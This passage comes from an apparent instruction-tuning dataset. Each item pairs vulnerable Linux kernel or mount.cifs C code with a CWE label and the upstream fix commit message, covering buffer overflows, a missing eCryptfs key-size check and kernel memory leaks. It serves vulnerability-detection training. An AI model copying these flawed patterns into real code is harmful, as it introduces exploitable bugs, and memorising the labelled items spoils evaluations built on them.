\"nfs4_get_root:\"\n\t\t \" getroot obtained referral\\n\");\n\t\treturn -EREMOTE;\n\t}\n\nnext_component:\n\tdprintk(\"Next: %s\\n\", path);\n\n\t/* extract the next bit of the path */\n\tif (!*path)\n\t\tgoto path_walk_complete;\n\n\tname.name = path;\n\twhile (*path && *path != '/')\n\t\tpath++;\n\tname.len = path - (const char *) name.name;\n\neat_dot_dir:\n\twhile (*path == '/')\n\t\tpath++;\n\n\tif (path[0] == '.' && (path[1] == '/' || !path[1])) {\n\t\tpath += 2;\n\t\tgoto eat_dot_dir;\n\t}\n\n\t/* FIXME: Why shouldn't the user be able to use \"..\" in the path? */\n\tif (path[0] == '.' && path[1] == '.' && (path[2] == '/' || !path[2])\n\t ) {\n\t\tprintk(KERN_ERR \"nfs4_get_root:\"\n\t\t \" Mount path contains reference to \\\"..\\\"\\n\");\n\t\treturn -EINVAL;\n\t}\n\n\t/* lookup the next FH in the sequence */\n\tmemcpy(&lastfh, mntfh, sizeof(lastfh));\n\n\tdprintk(\"LookupFH: %*.*s [%s]\\n\", name.len, name.len, name.name, path);\n\n\tret = server->nfs_client->rpc_ops->lookupfh(server, &lastfh, &name,\n\t\t\t\t\t\t mntfh, &fattr);\n\tif (ret < 0) {\n\t\tdprintk(\"nfs4_get_root: getroot error = %d\\n\", -ret);\n\t\treturn ret;\n\t}\n\n\tif (fattr.type != NFDIR) {\n\t\tprintk(KERN_ERR \"nfs4_get_root:\"\n\t\t \" lookupfh encountered non-directory\\n\");\n\t\treturn -ENOTDIR;\n\t}\n\n\t/* FIXME: Referrals are quite valid here too */\n\tif (fattr.valid & NFS_ATTR_FATTR_V4_REFERRAL) {\n\t\tprintk(KERN_ERR \"nfs4_get_root:\"\n\t\t \" lookupfh obtained referral\\n\");\n\t\treturn -EREMOTE;\n\t}\n\n\tgoto next_component;\n\npath_walk_complete:\n\tmemcpy(&server->fsid, &fattr.fsid, sizeof(server->fsid));\n\tdprintk(\"<-- nfs4_path_walk() = 0\\n\");\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'NFS: Fix an Oops in encode_lookup()\n\nIt doesn't look as if the NFS file name limit is being initialised correctly\nin the struct nfs_server. Make sure that we limit whatever is being set in\nnfs_probe_fsinfo() and nfs_init_server().\n\nAlso ensure that readdirplus and nfs4_path_walk respect our file name\nlimits.\n\nSigned-off-by: Trond Myklebust \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: size_t util_path_encode(char *s, size_t len)\n{\n\tchar t[(len * 3)+1];\n\tsize_t i, j;\n\n\tfor (i = 0, j = 0; s[i] != '\\0'; i++) {\n\t\tif (s[i] == '/') {\n\t\t\tmemcpy(&t[j], \"\\\\x2f\", 4);\n\t\t\tj += 4;\n\t\t} else if (s[i] == '\\\\') {\n\t\t\tmemcpy(&t[j], \"\\\\x5c\", 4);\n\t\t\tj += 4;\n\t\t} else {\n\t\t\tt[j] = s[i];\n\t\t\tj++;\n\t\t}\n\t}\n\tif (len == 0)\n\t\treturn j;\n\ti = (j < len - 1) ? j : len - 1;\n\tmemcpy(s, t, i);\n\ts[i] = '\\0';\n\treturn j;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'path_encode: fix max length calculation\n\nSebastian Krahmer wrote:\n> it should reserve 4 times not 3 times len :)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: parse_tag_3_packet(struct ecryptfs_crypt_stat *crypt_stat,\n\t\t unsigned char *data, struct list_head *auth_tok_list,\n\t\t struct ecryptfs_auth_tok **new_auth_tok,\n\t\t size_t *packet_size, size_t max_packet_size)\n{\n\tsize_t body_size;\n\tstruct ecryptfs_auth_tok_list_item *auth_tok_list_item;\n\tsize_t length_size;\n\tint rc = 0;\n\n\t(*packet_size) = 0;\n\t(*new_auth_tok) = NULL;\n\t/**\n\t *This format is inspired by OpenPGP; see RFC 2440\n\t * packet tag 3\n\t *\n\t * Tag 3 identifier (1 byte)\n\t * Max Tag 3 packet size (max 3 bytes)\n\t * Version (1 byte)\n\t * Cipher code (1 byte)\n\t * S2K specifier (1 byte)\n\t * Hash identifier (1 byte)\n\t * Salt (ECRYPTFS_SALT_SIZE)\n\t * Hash iterations (1 byte)\n\t * Encrypted key (arbitrary)\n\t *\n\t * (ECRYPTFS_SALT_SIZE + 7) minimum packet size\n\t */\n\tif (max_packet_size < (ECRYPTFS_SALT_SIZE + 7)) {\n\t\tprintk(KERN_ERR \"Max packet size too large\\n\");\n\t\trc = -EINVAL;\n\t\tgoto out;\n\t}\n\tif (data[(*packet_size)++] != ECRYPTFS_TAG_3_PACKET_TYPE) {\n\t\tprintk(KERN_ERR \"First byte != 0x%.2x; invalid packet\\n\",\n\t\t ECRYPTFS_TAG_3_PACKET_TYPE);\n\t\trc = -EINVAL;\n\t\tgoto out;\n\t}\n\t/* Released: wipe_auth_tok_list called in ecryptfs_parse_packet_set or\n\t * at end of function upon failure */\n\tauth_tok_list_item =\n\t kmem_cache_zalloc(ecryptfs_auth_tok_list_item_cache, GFP_KERNEL);\n\tif (!auth_tok_list_item) {\n\t\tprintk(KERN_ERR \"Unable to allocate memory\\n\");\n\t\trc = -ENOMEM;\n\t\tgoto out;\n\t}\n\t(*new_auth_tok) = &auth_tok_list_item->auth_tok;\n\trc = ecryptfs_parse_packet_length(&data[(*packet_size)], &body_size,\n\t\t\t\t\t &length_size);\n\tif (rc) {\n\t\tprintk(KERN_WARNING \"Error parsing packet length; rc = [%d]\\n\",\n\t\t rc);\n\t\tgoto out_free;\n\t}\n\tif (unlikely(body_size < (ECRYPTFS_SALT_SIZE + 5))) {\n\t\tprintk(KERN_WARNING \"Invalid body size ([%td])\\n\", body_size);\n\t\trc = -EINVAL;\n\t\tgoto out_free;\n\t}\n\t(*packet_size) += length_size;\n\tif (unlikely((*packet_size) + body_size > max_packet_size)) {\n\t\tprintk(KERN_ERR \"Packet size exceeds max\\n\");\n\t\trc = -EINVAL;\n\t\tgoto out_free;\n\t}\n\t(*new_auth_tok)->session_key.encrypted_key_size =\n\t\t(body_size - (ECRYPTFS_SALT_SIZE + 5));\n\tif (unlikely(data[(*packet_size)++] != 0x04)) {\n\t\tprintk(KERN_WARNING \"Unknown version number [%d]\\n\",\n\t\t data[(*packet_size) - 1]);\n\t\trc = -EINVAL;\n\t\tgoto out_free;\n\t}\n\tecryptfs_cipher_code_to_string(crypt_stat->cipher,\n\t\t\t\t (u16)data[(*packet_size)]);\n\t/* A little extra work to differentiate among the AES key\n\t * sizes; see RFC2440 */\n\tswitch(data[(*packet_size)++]) {\n\tcase RFC2440_CIPHER_AES_192:\n\t\tcrypt_stat->key_size = 24;\n\t\tbreak;\n\tdefault:\n\t\tcrypt_stat->key_size =\n\t\t\t(*new_auth_tok)->session_key.encrypted_key_size;\n\t}\n\tecryptfs_init_crypt_ctx(crypt_stat);\n\tif (unlikely(data[(*packet_size)++] != 0x03)) {\n\t\tprintk(KERN_WARNING \"Only S2K ID 3 is currently supported\\n\");\n\t\trc = -ENOSYS;\n\t\tgoto out_free;\n\t}\n\t/* TODO: finish the hash mapping */\n\tswitch (data[(*packet_size)++]) {\n\tcase 0x01: /* See RFC2440 for these numbers and their mappings */\n\t\t/* Choose MD5 */\n\t\tmemcpy((*new_auth_tok)->token.password.salt,\n\t\t &data[(*packet_size)], ECRYPTFS_SALT_SIZE);\n\t\t(*packet_size) += ECRYPTFS_SALT_SIZE;\n\t\t/* This conversion was taken straight from RFC2440 */\n\t\t(*new_auth_tok)->token.password.hash_iterations =\n\t\t\t((u32) 16 + (data[(*packet_size)] & 15))\n\t\t\t\t<< ((data[(*packet_size)] >> 4) + 6);\n\t\t(*packet_size)++;\n\t\t/* Friendly reminder:\n\t\t * (*new_auth_tok)->session_key.encrypted_key_size =\n\t\t * (body_size - (ECRYPTFS_SALT_SIZE + 5)); */\n\t\tmemcpy((*new_auth_tok)->session_key.encrypted_key,\n\t\t &data[(*packet_size)],\n\t\t (*new_auth_tok)->session_key.encrypted_key_size);\n\t\t(*packet_size) +=\n\t\t\t(*new_auth_tok)->session_key.encrypted_key_size;\n\t\t(*new_auth_tok)->session_key.flags &=\n\t\t\t~ECRYPTFS_CONTAINS_DECRYPTED_KEY;\n\t\t(*new_auth_tok)->session_key.flags |=\n\t\t\tECRYPTFS_CONTAINS_ENCRYPTED_KEY;\n\t\t(*new_auth_tok)->token.password.hash_algo = 0x01; /* MD5 */\n\t\tbreak;\n\tdefault:\n\t\tecryptfs_printk(KERN_ERR, \"Unsupported hash algorithm: \"\n\t\t\t\t\"[%d]\\n\", data[(*packet_size) - 1]);\n\t\trc = -ENOSYS;\n\t\tgoto out_free;\n\t}\n\t(*new_auth_tok)->token_type = ECRYPTFS_PASSWORD;\n\t/* TODO: Parametarize; we might actually want userspace to\n\t * decrypt the session key. */\n\t(*new_auth_tok)->session_key.flags &=\n\t\t\t ~(ECRYPTFS_USERSPACE_SHOULD_TRY_TO_DECRYPT);\n\t(*new_auth_tok)->session_key.flags &=\n\t\t\t ~(ECRYPTFS_USERSPACE_SHOULD_TRY_TO_ENCRYPT);\n\tlist_add(&auth_tok_list_item->list, auth_tok_list);\n\tgoto out;\nout_free:\n\t(*new_auth_tok) = NULL;\n\tmemset(auth_tok_list_item, 0,\n\t sizeof(struct ecryptfs_auth_tok_list_item));\n\tkmem_cache_free(ecryptfs_auth_tok_list_item_cache,\n\t\t\tauth_tok_list_item);\nout:\n\tif (rc)\n\t\t(*packet_size) = 0;\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'eCryptfs: parse_tag_3_packet check tag 3 packet encrypted key size\n\nThe parse_tag_3_packet function does not check if the tag 3 packet contains a\nencrypted key size larger than ECRYPTFS_MAX_ENCRYPTED_KEY_BYTES.\n\nSigned-off-by: Ramon de Carvalho Valle \n[tyhicks@linux.vnet.ibm.com: Added printk newline and changed goto to out_free]\nSigned-off-by: Tyler Hicks \nCc: stable@kernel.org (2.6.27 and 30)\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int raw_getname(struct socket *sock, struct sockaddr *uaddr,\n\t\t int *len, int peer)\n{\n\tstruct sockaddr_can *addr = (struct sockaddr_can *)uaddr;\n\tstruct sock *sk = sock->sk;\n\tstruct raw_sock *ro = raw_sk(sk);\n\n\tif (peer)\n\t\treturn -EOPNOTSUPP;\n\n\taddr->can_family = AF_CAN;\n\taddr->can_ifindex = ro->ifindex;\n\n\t*len = sizeof(*addr);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'can: Fix raw_getname() leak\n\nraw_getname() can leak 10 bytes of kernel memory to user\n\n(two bytes hole between can_family and can_ifindex,\n8 bytes at the end of sockaddr_can structure)\n\nSigned-off-by: Eric Dumazet \nAcked-by: Oliver Hartkopp \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int tcf_add_notify(struct tc_action *a, u32 pid, u32 seq, int event,\n u16 flags)\n{\n\tstruct tcamsg *t;\n\tstruct nlmsghdr *nlh;\n\tstruct sk_buff *skb;\n\tstruct rtattr *x;\n\tunsigned char *b;\n\tint err = 0;\n\n\tskb = alloc_skb(NLMSG_GOODSIZE, GFP_KERNEL);\n\tif (!skb)\n\t\treturn -ENOBUFS;\n\n\tb = (unsigned char *)skb->tail;\n\n\tnlh = NLMSG_NEW(skb, pid, seq, event, sizeof(*t), flags);\n\tt = NLMSG_DATA(nlh);\n\tt->tca_family = AF_UNSPEC;\n\t\n\tx = (struct rtattr*) skb->tail;\n\tRTA_PUT(skb, TCA_ACT_TAB, 0, NULL);\n\n\tif (tcf_action_dump(skb, a, 0, 0) < 0)\n\t\tgoto rtattr_failure;\n\n\tx->rta_len = skb->tail - (u8*)x;\n\t\n\tnlh->nlmsg_len = skb->tail - b;\n\tNETLINK_CB(skb).dst_groups = RTMGRP_TC;\n\t\n\terr = rtnetlink_send(skb, pid, RTMGRP_TC, flags&NLM_F_ECHO);\n\tif (err > 0)\n\t\terr = 0;\n\treturn err;\n\nrtattr_failure:\nnlmsg_failure:\n\tskb_trim(skb, b - skb->data);\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': '[NETLINK]: Missing initializations in dumped data\n\nMostly missing initialization of padding fields of 1 or 2 bytes length,\ntwo instances of uninitialized nlmsgerr->msg of 16 bytes length.\n\nSigned-off-by: Patrick McHardy \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int tca_action_flush(struct rtattr *rta, struct nlmsghdr *n, u32 pid)\n{\n\tstruct sk_buff *skb;\n\tunsigned char *b;\n\tstruct nlmsghdr *nlh;\n\tstruct tcamsg *t;\n\tstruct netlink_callback dcb;\n\tstruct rtattr *x;\n\tstruct rtattr *tb[TCA_ACT_MAX+1];\n\tstruct rtattr *kind;\n\tstruct tc_action *a = create_a(0);\n\tint err = -EINVAL;\n\n\tif (a == NULL) {\n\t\tprintk(\"tca_action_flush: couldnt create tc_action\\n\");\n\t\treturn err;\n\t}\n\n\tskb = alloc_skb(NLMSG_GOODSIZE, GFP_KERNEL);\n\tif (!skb) {\n\t\tprintk(\"tca_action_flush: failed skb alloc\\n\");\n\t\tkfree(a);\n\t\treturn -ENOBUFS;\n\t}\n\n\tb = (unsigned char *)skb->tail;\n\n\tif (rtattr_parse_nested(tb, TCA_ACT_MAX, rta) < 0)\n\t\tgoto err_out;\n\n\tkind = tb[TCA_ACT_KIND-1];\n\ta->ops = tc_lookup_action(kind);\n\tif (a->ops == NULL)\n\t\tgoto err_out;\n\n\tnlh = NLMSG_PUT(skb, pid, n->nlmsg_seq, RTM_DELACTION, sizeof(*t));\n\tt = NLMSG_DATA(nlh);\n\tt->tca_family = AF_UNSPEC;\n\n\tx = (struct rtattr *) skb->tail;\n\tRTA_PUT(skb, TCA_ACT_TAB, 0, NULL);\n\n\terr = a->ops->walk(skb, &dcb, RTM_DELACTION, a);\n\tif (err < 0)\n\t\tgoto rtattr_failure;\n\n\tx->rta_len = skb->tail - (u8 *) x;\n\n\tnlh->nlmsg_len = skb->tail - b;\n\tnlh->nlmsg_flags |= NLM_F_ROOT;\n\tmodule_put(a->ops->owner);\n\tkfree(a);\n\terr = rtnetlink_send(skb, pid, RTMGRP_TC, n->nlmsg_flags&NLM_F_ECHO);\n\tif (err > 0)\n\t\treturn 0;\n\n\treturn err;\n\nrtattr_failure:\n\tmodule_put(a->ops->owner);\nnlmsg_failure:\nerr_out:\n\tkfree_skb(skb);\n\tkfree(a);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': '[NETLINK]: Missing initializations in dumped data\n\nMostly missing initialization of padding fields of 1 or 2 bytes length,\ntwo instances of uninitialized nlmsgerr->msg of 16 bytes length.\n\nSigned-off-by: Patrick McHardy \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(int argc, char ** argv)\n{\n\tint c;\n\tunsigned long flags = MS_MANDLOCK;\n\tchar * orgoptions = NULL;\n\tchar * share_name = NULL;\n\tconst char * ipaddr = NULL;\n\tchar * uuid = NULL;\n\tchar * mountpoint = NULL;\n\tchar * options = NULL;\n\tchar * optionstail;\n\tchar * resolved_path = NULL;\n\tchar * temp;\n\tchar * dev_name;\n\tint rc = 0;\n\tint rsize = 0;\n\tint wsize = 0;\n\tint nomtab = 0;\n\tint uid = 0;\n\tint gid = 0;\n\tint optlen = 0;\n\tint orgoptlen = 0;\n\tsize_t options_size = 0;\n\tsize_t current_len;\n\tint retry = 0; /* set when we have to retry mount with uppercase */\n\tstruct addrinfo *addrhead = NULL, *addr;\n\tstruct utsname sysinfo;\n\tstruct mntent mountent;\n\tstruct sockaddr_in *addr4;\n\tstruct sockaddr_in6 *addr6;\n\tFILE * pmntfile;\n\n\t/* setlocale(LC_ALL, \"\");\n\tbindtextdomain(PACKAGE, LOCALEDIR);\n\ttextdomain(PACKAGE); */\n\n\tif(argc && argv)\n\t\tthisprogram = argv[0];\n\telse\n\t\tmount_cifs_usage(stderr);\n\n\tif(thisprogram == NULL)\n\t\tthisprogram = \"mount.cifs\";\n\n\tuname(&sysinfo);\n\t/* BB add workstation name and domain and pass down */\n\n/* #ifdef _GNU_SOURCE\n\tfprintf(stderr, \" node: %s machine: %s sysname %s domain %s\\n\", sysinfo.nodename,sysinfo.machine,sysinfo.sysname,sysinfo.domainname);\n#endif */\n\tif(argc > 2) {\n\t\tdev_name = argv[1];\n\t\tshare_name = strndup(argv[1], MAX_UNC_LEN);\n\t\tif (share_name == NULL) {\n\t\t\tfprintf(stderr, \"%s: %s\", argv[0], strerror(ENOMEM));\n\t\t\texit(EX_SYSERR);\n\t\t}\n\t\tmountpoint = argv[2];\n\t} else if (argc == 2) {\n\t\tif ((strcmp(argv[1], \"-V\") == 0) ||\n\t\t (strcmp(argv[1], \"--version\") == 0))\n\t\t{\n\t\t\tprint_cifs_mount_version();\n\t\t\texit(0);\n\t\t}\n\n\t\tif ((strcmp(argv[1], \"-h\") == 0) ||\n\t\t (strcmp(argv[1], \"-?\") == 0) ||\n\t\t (strcmp(argv[1], \"--help\") == 0))\n\t\t\tmount_cifs_usage(stdout);\n\n\t\tmount_cifs_usage(stderr);\n\t} else {\n\t\tmount_cifs_usage(stderr);\n\t}\n\n\n\t/* add sharename in opts string as unc= parm */\n\twhile ((c = getopt_long (argc, argv, \"afFhilL:no:O:rsSU:vVwt:\",\n\t\t\t longopts, NULL)) != -1) {\n\t\tswitch (c) {\n/* No code to do the following options yet */\n/*\tcase 'l':\n\t\tlist_with_volumelabel = 1;\n\t\tbreak;\n\tcase 'L':\n\t\tvolumelabel = optarg;\n\t\tbreak; */\n/*\tcase 'a':\t \n\t\t++mount_all;\n\t\tbreak; */\n\n\t\tcase '?':\n\t\tcase 'h':\t /* help */\n\t\t\tmount_cifs_usage(stdout);\n\t\tcase 'n':\n\t\t\t++nomtab;\n\t\t\tbreak;\n\t\tcase 'b':\n#ifdef MS_BIND\n\t\t\tflags |= MS_BIND;\n#else\n\t\t\tfprintf(stderr,\n\t\t\t\t\"option 'b' (MS_BIND) not supported\\n\");\n#endif\n\t\t\tbreak;\n\t\tcase 'm':\n#ifdef MS_MOVE\t\t \n\t\t\tflags |= MS_MOVE;\n#else\n\t\t\tfprintf(stderr,\n\t\t\t\t\"option 'm' (MS_MOVE) not supported\\n\");\n#endif\n\t\t\tbreak;\n\t\tcase 'o':\n\t\t\torgoptions = strdup(optarg);\n\t\t break;\n\t\tcase 'r': /* mount readonly */\n\t\t\tflags |= MS_RDONLY;\n\t\t\tbreak;\n\t\tcase 'U':\n\t\t\tuuid = optarg;\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\t++verboseflag;\n\t\t\tbreak;\n\t\tcase 'V':\n\t\t\tprint_cifs_mount_version();\n\t\t\texit (0);\n\t\tcase 'w':\n\t\t\tflags &= ~MS_RDONLY;\n\t\t\tbreak;\n\t\tcase 'R':\n\t\t\trsize = atoi(optarg) ;\n\t\t\tbreak;\n\t\tcase 'W':\n\t\t\twsize = atoi(optarg);\n\t\t\tbreak;\n\t\tcase '1':\n\t\t\tif (isdigit(*optarg)) {\n\t\t\t\tchar *ep;\n\n\t\t\t\tuid = strtoul(optarg, &ep, 10);\n\t\t\t\tif (*ep) {\n\t\t\t\t\tfprintf(stderr, \"bad uid value \\\"%s\\\"\\n\", optarg);\n\t\t\t\t\texit(EX_USAGE);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tstruct passwd *pw;\n\n\t\t\t\tif (!(pw = getpwnam(optarg))) {\n\t\t\t\t\tfprintf(stderr, \"bad user name \\\"%s\\\"\\n\", optarg);\n\t\t\t\t\texit(EX_USAGE);\n\t\t\t\t}\n\t\t\t\tuid = pw->pw_uid;\n\t\t\t\tendpwent();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase '2':\n\t\t\tif (isdigit(*optarg)) {\n\t\t\t\tchar *ep;\n\n\t\t\t\tgid = strtoul(optarg, &ep, 10);\n\t\t\t\tif (*ep) {\n\t\t\t\t\tfprintf(stderr, \"bad gid value \\\"%s\\\"\\n\", optarg);\n\t\t\t\t\texit(EX_USAGE);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tstruct group *gr;\n\n\t\t\t\tif (!(gr = getgrnam(optarg))) {\n\t\t\t\t\tfprintf(stderr, \"bad user name \\\"%s\\\"\\n\", optarg);\n\t\t\t\t\texit(EX_USAGE);\n\t\t\t\t}\n\t\t\t\tgid = gr->gr_gid;\n\t\t\t\tendpwent();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'u':\n\t\t\tgot_user = 1;\n\t\t\tuser_name = optarg;\n\t\t\tbreak;\n\t\tcase 'd':\n\t\t\tdomain_name = optarg; /* BB fix this - currently ignored */\n\t\t\tgot_domain = 1;\n\t\t\tbreak;\n\t\tcase 'p':\n\t\t\tif(mountpassword == NULL)\n\t\t\t\tmountpassword = (char *)calloc(MOUNT_PASSWD_SIZE+1,1);\n\t\t\tif(mountpassword) {\n\t\t\t\tgot_password = 1;\n\t\t\t\tstrlcpy(mountpassword,optarg,MOUNT_PASSWD_SIZE+1);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'S':\n\t\t\tget_password_from_file(0 /* stdin */,NULL);\n\t\t\tbreak;\n\t\tcase 't':\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\t++fakemnt;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tfprintf(stderr, \"unknown mount option %c\\n\",c);\n\t\t\tmount_cifs_usage(stderr);\n\t\t}\n\t}\n\n\tif((argc < 3) || (dev_name == NULL) || (mountpoint == NULL)) {\n\t\tmount_cifs_usage(stderr);\n\t}\n\n\t/* make sure mountpoint is legit */\n\trc = check_mountpoint(thisprogram, mountpoint);\n\tif (rc)\n\t\tgoto mount_exit;\n\n\t/* sanity check for unprivileged mounts */\n\tif (getuid()) {\n\t\trc = check_fstab(thisprogram, mountpoint, dev_name,\n\t\t\t\t &orgoptions);\n\t\tif (rc)\n\t\t\tgoto mount_exit;\n\n\t\t/* enable any default user mount flags */\n\t\tflags |= CIFS_SETUID_FLAGS;\n\t}\n\n\tif (getenv(\"PASSWD\")) {\n\t\tif(mountpassword == NULL)\n\t\t\tmountpassword = (char *)calloc(MOUNT_PASSWD_SIZE+1,1);\n\t\tif(mountpassword) {\n\t\t\tstrlcpy(mountpassword,getenv(\"PASSWD\"),MOUNT_PASSWD_SIZE+1);\n\t\t\tgot_password = 1;\n\t\t}\n\t} else if (getenv(\"PASSWD_FD\")) {\n\t\tget_password_from_file(atoi(getenv(\"PASSWD_FD\")),NULL);\n\t} else if (getenv(\"PASSWD_FILE\")) {\n\t\tget_password_from_file(0, getenv(\"PASSWD_FILE\"));\n\t}\n\n if (orgoptions && parse_options(&orgoptions, &flags)) {\n rc = EX_USAGE;\n\t\tgoto mount_exit;\n\t}\n\n\tif (getuid()) {\n#if !CIFS_LEGACY_SETUID_CHECK\n\t\tif (!(flags & (MS_USERS|MS_USER))) {\n\t\t\tfprintf(stderr, \"%s: permission denied\\n\", thisprogram);\n\t\t\trc = EX_USAGE;\n\t\t\tgoto mount_exit;\n\t\t}\n#endif /* !CIFS_LEGACY_SETUID_CHECK */\n\t\t\n\t\tif (geteuid()) {\n\t\t\tfprintf(stderr, \"%s: not installed setuid - \\\"user\\\" \"\n\t\t\t\t\t\"CIFS mounts not supported.\",\n\t\t\t\t\tthisprogram);\n\t\t\trc = EX_FAIL;\n\t\t\tgoto mount_exit;\n\t\t}\n\t}\n\n\tflags &= ~(MS_USERS|MS_USER);\n\n\taddrhead = addr = parse_server(&share_name);\n\tif((addrhead == NULL) && (got_ip == 0)) {\n\t\tfprintf(stderr, \"No ip address specified and hostname not found\\n\");\n\t\trc = EX_USAGE;\n\t\tgoto mount_exit;\n\t}\n\t\n\t/* BB save off path and pop after mount returns? */\n\tresolved_path = (char *)malloc(PATH_MAX+1);\n\tif(resolved_path) {\n\t\t/* Note that if we can not canonicalize the name, we get\n\t\tanother chance to see if it is valid when we chdir to it */\n\t\tif (realpath(mountpoint, resolved_path)) {\n\t\t\tmountpoint = resolved_path; \n\t\t}\n\t}\n\tif(got_user == 0) {\n\t\t/* Note that the password will not be retrieved from the\n\t\t USER env variable (ie user%password form) as there is\n\t\t already a PASSWD environment varaible */\n\t\tif (getenv(\"USER\"))\n\t\t\tuser_name = strdup(getenv(\"USER\"));\n\t\tif (user_name == NULL)\n\t\t\tuser_name = getusername();\n\t\tgot_user = 1;\n\t}\n \n\tif(got_password == 0) {\n\t\tchar *tmp_pass = getpass(\"Password: \"); /* BB obsolete sys call but\n\t\t\t\t\t\t\t no good replacement yet. */\n\t\tmountpassword = (char *)calloc(MOUNT_PASSWD_SIZE+1,1);\n\t\tif (!tmp_pass || !mountpassword) {\n\t\t\tfprintf(stderr, \"Password not entered, exiting\\n\");\n\t\t\texit(EX_USAGE);\n\t\t}\n\t\tstrlcpy(mountpassword, tmp_pass, MOUNT_PASSWD_SIZE+1);\n\t\tgot_password = 1;\n\t}\n\t/* FIXME launch daemon (handles dfs name resolution and credential change) \n\t remember to clear parms and overwrite password field before launching */\n\tif(orgoptions) {\n\t\toptlen = strlen(orgoptions);\n\t\torgoptlen = optlen;\n\t} else\n\t\toptlen = 0;\n\tif(share_name)\n\t\toptlen += strlen(share_name) + 4;\n\telse {\n\t\tfprintf(stderr, \"No server share name specified\\n\");\n\t\tfprintf(stderr, \"\\nMounting the DFS root for server not implemented yet\\n\");\n exit(EX_USAGE);\n\t}\n\tif(user_name)\n\t\toptlen += strlen(user_name) + 6;\n\toptlen += MAX_ADDRESS_LEN + 4;\n\tif(mountpassword)\n\t\toptlen += strlen(mountpassword) + 6;\nmount_retry:\n\tSAFE_FREE(options);\n\toptions_size = optlen + 10 + DOMAIN_SIZE;\n\toptions = (char *)malloc(options_size /* space for commas in password */ + 8 /* space for domain= , domain name itself was counted as part of the length username string above */);\n\n\tif(options == NULL) {\n\t\tfprintf(stderr, \"Could not allocate memory for mount options\\n\");\n\t\texit(EX_SYSERR);\n\t}\n\n\tstrlcpy(options, \"unc=\", options_size);\n\tstrlcat(options,share_name,options_size);\n\t/* scan backwards and reverse direction of slash */\n\ttemp = strrchr(options, '/');\n\tif(temp > options + 6)\n\t\t*temp = '\\\\';\n\tif(user_name) {\n\t\t/* check for syntax like user=domain\\user */\n\t\tif(got_domain == 0)\n\t\t\tdomain_name = check_for_domain(&user_name);\n\t\tstrlcat(options,\",user=\",options_size);\n\t\tstrlcat(options,user_name,options_size);\n\t}\n\tif(retry == 0) {\n\t\tif(domain_name) {\n\t\t\t/* extra length accounted for in option string above */\n\t\t\tstrlcat(options,\",domain=\",options_size);\n\t\t\tstrlcat(options,domain_name,options_size);\n\t\t}\n\t}\n\n\tstrlcat(options,\",ver=\",options_size);\n\tstrlcat(options,MOUNT_CIFS_VERSION_MAJOR,options_size);\n\n\tif(orgoptions) {\n\t\tstrlcat(options,\",\",options_size);\n\t\tstrlcat(options,orgoptions,options_size);\n\t}\n\tif(prefixpath) {\n\t\tstrlcat(options,\",prefixpath=\",options_size);\n\t\tstrlcat(options,prefixpath,options_size); /* no need to cat the / */\n\t}\n\n\t/* convert all '\\\\' to '/' in share portion so that /proc/mounts looks pretty */\n\treplace_char(dev_name, '\\\\', '/', strlen(share_name));\n\n\tif (!got_ip && addr) {\n\t\tstrlcat(options, \",ip=\", options_size);\n\t\tcurrent_len = strnlen(options, options_size);\n\t\toptionstail = options + current_len;\n\t\tswitch (addr->ai_addr->sa_family) {\n\t\tcase AF_INET6:\n\t\t\taddr6 = (struct sockaddr_in6 *) addr->ai_addr;\n\t\t\tipaddr = inet_ntop(AF_INET6, &addr6->sin6_addr, optionstail,\n\t\t\t\t\t options_size - current_len);\n\t\t\tbreak;\n\t\tcase AF_INET:\n\t\t\taddr4 = (struct sockaddr_in *) addr->ai_addr;\n\t\t\tipaddr = inet_ntop(AF_INET, &addr4->sin_addr, optionstail,\n\t\t\t\t\t options_size - current_len);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tipaddr = NULL;\n\t\t}\n\n\t\t/* if the address looks bogus, try the next one */\n\t\tif (!ipaddr) {\n\t\t\taddr = addr->ai_next;\n\t\t\tif (addr)\n\t\t\t\tgoto mount_retry;\n\t\t\trc = 